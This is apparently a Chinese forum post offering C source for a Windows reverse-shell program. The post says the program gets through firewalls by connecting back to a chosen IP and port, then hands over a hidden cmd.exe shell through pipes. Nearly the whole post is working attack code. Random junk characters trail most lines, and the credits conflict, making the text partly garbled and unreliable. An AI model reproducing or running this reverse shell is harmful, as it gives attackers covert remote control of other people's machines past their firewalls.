Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 x, Vh  
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/* ============================== ]bN&5.|  
Rebound port in Windows NT ,t%CK!8  
By wind,2006/7 ?S@R~y0K  
===============================*/ }-{b$6]  
#include `[@^m5?b-  
#include 2rO)qjiH  
@0ov!9]Rw-  
#pragma comment(lib,"wsock32.lib") &cu] vw  
*hZ~i{c,7  
void OutputShell(); ;Lsjh#  
SOCKET sClient; GL5^_`n  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i9;27tT~<  
}*.:Hv"  
void main(int argc,char **argv) j!S1Y0CV  
{ w`j*W$82
  
WSADATA stWsaData; [T4 pgt'H  
int nRet; ?UZ$bz  
SOCKADDR_IN stSaiClient,stSaiServer; V9zywM  
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if(argc != 3) ]PlY}VOY  
{ &$m=^  
printf("Useage:\n\rRebound DestIP DestPort\n"); P(pd0,%i;a  
return; 
}2Cd1RnS  
} CO:*x,6au  
L{2
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WSAStartup(MAKEWORD(2,2),&stWsaData); U
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}O.LPQ0  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VR4E 2^  
:'d76pM-  
stSaiClient.sin_family = AF_INET; emv;m/&8  
stSaiClient.sin_port = htons(0); (|<h^] y3  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Bw3F7W~l  
p;qRm} 0}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) gHi~nEH  
{ m3xz=9Ve  
printf("Bind Socket Failed!\n"); D|TLTF"  
return; wX)efLmyhY  
} GB<R7J  
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stSaiServer.sin_family = AF_INET; e{fZ}`=7y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W>Mse[6`c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \;-=ODC  
J4gI=@e  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) n2n00%Wu[  
{ #"Eks79s  
printf("Connect Error!"); S)"##-~`T  
return; YKP=0 j3,  
} |?x^8e<*  
OutputShell(); 7$+P|U
 
} >oft :7p  
:%/\1$3P  
void OutputShell() W il{FcHY  
{ u}Ei_ O<z  
char szBuff[1024]; c8#T:HM|`  
SECURITY_ATTRIBUTES stSecurityAttributes; GFdZ`i  
OSVERSIONINFO stOsversionInfo; ZR/R'prW  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ATMc`z:5T  
STARTUPINFO stStartupInfo; 6Cl+KcJH  
char *szShell; v]WH8GI  
PROCESS_INFORMATION stProcessInformation; 9U2Px$E  
unsigned long lBytesRead; ElQJ\%  

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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6oj4Rg+(  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); _&W0e}4  
stSecurityAttributes.lpSecurityDescriptor = 0; kU#:I9PO  
stSecurityAttributes.bInheritHandle = TRUE; f\h%; X  
_qY`KP"  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y*Y&)k6t  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); lq1[r~  
tgO+*q5B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 3AvVU]@&Z@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PqT"jOF]n  
stStartupInfo.wShowWindow = SW_HIDE; 0fn
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stStartupInfo.hStdInput = hReadPipe; } c{Fa&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; =a?a@+  
':,>eL#+uV  
GetVersionEx(&stOsversionInfo); X,>(Y8  
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switch(stOsversionInfo.dwPlatformId) ^pJ0nY#c  
{ {B@*DQv  
case 1: .=Pm>o/,  
szShell = "command.com"; UUl*f!&
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break; j
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default: &nQRa?3,   
szShell = "cmd.exe"; mYjf5  
break; 5\VxXiy0  
} %z1{Kus  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +``>,O6  
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send(sClient,szMsg,77,0); &c20x+  
while(1) ZR1+ O8  
{ LPq2+:JpS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); DXKyRkn6e  
if(lBytesRead) [FB&4>V/  
{ !\aV0,  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); rwoF}}  
send(sClient,szBuff,lBytesRead,0); q1UBKhpnH  
} --Oprl  
else c+1vqbqHG  
{ LlU'
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lBytesRead=recv(sClient,szBuff,1024,0); u/}xE7G  
if(lBytesRead<=0) break; GUKDhg,W  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); wjuGq.qIu  
} YjFWC!Qj$  
} =]T|h  
[d0%.+U  
return; 7k>zuzRyF  
}